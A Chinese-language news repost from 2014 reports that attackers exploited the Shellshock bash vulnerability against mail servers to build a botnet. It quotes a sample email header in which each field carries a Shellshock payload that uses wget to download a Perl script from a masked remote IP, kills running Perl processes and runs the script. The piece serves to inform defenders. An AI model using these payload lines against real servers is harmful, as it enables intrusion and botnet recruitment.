提供了编程的基础技术教程

zl程序教程

您现在的位置是：首页 >  其他

当前栏目

来了！攻击者利用Shellshock漏洞入侵邮件服务器

2023-03-14 22:33:39 时间

来了！攻击者利用Shellshock漏洞入侵邮件服务器

攻击者正利用上个月披露的Shellshock漏洞入侵邮件服务器建立僵尸网络。

安全研究人员报告，攻击者向邮件服务器发送特定的消息头字段，诱骗服务器执行一个 Perl脚本，成为僵尸网络的一部分。邮件消息头的构成是：



    

  1. 
Shellshock spam October 2014 （IP地址已隐藏）

    2. 

  2. ===
    3. 

  3. 
To:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    4. 

  4.  
    5. 

  5. 
References:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    6. 

  6.  
    7. 

  7. 
Cc:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    8. 

  8.  
    9. 

  9. 
From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    10. 

  10.  
    11. 

  11. 
Subject:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    12. 

  12.  
    13. 

  13. 
Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    14. 

  14.  
    15. 

  15. 
Message-ID:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    16. 

  16.  
    17. 

  17. 
Comments:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    18. 

  18.  
    19. 

  19. 
Keywords:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    20. 

  20.  
    21. 

  21. 
Resent-Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    22. 

  22.  
    23. 

  23. 
Resent-From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    24. 

  24.  
    25. 

  25. 
Resent-Sender:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

    26. 



原文发布时间：2014-10-29


本文来自云栖合作伙伴“linux中国”










 
                

                                
                

                
            

        

        

        

            

                
相关文章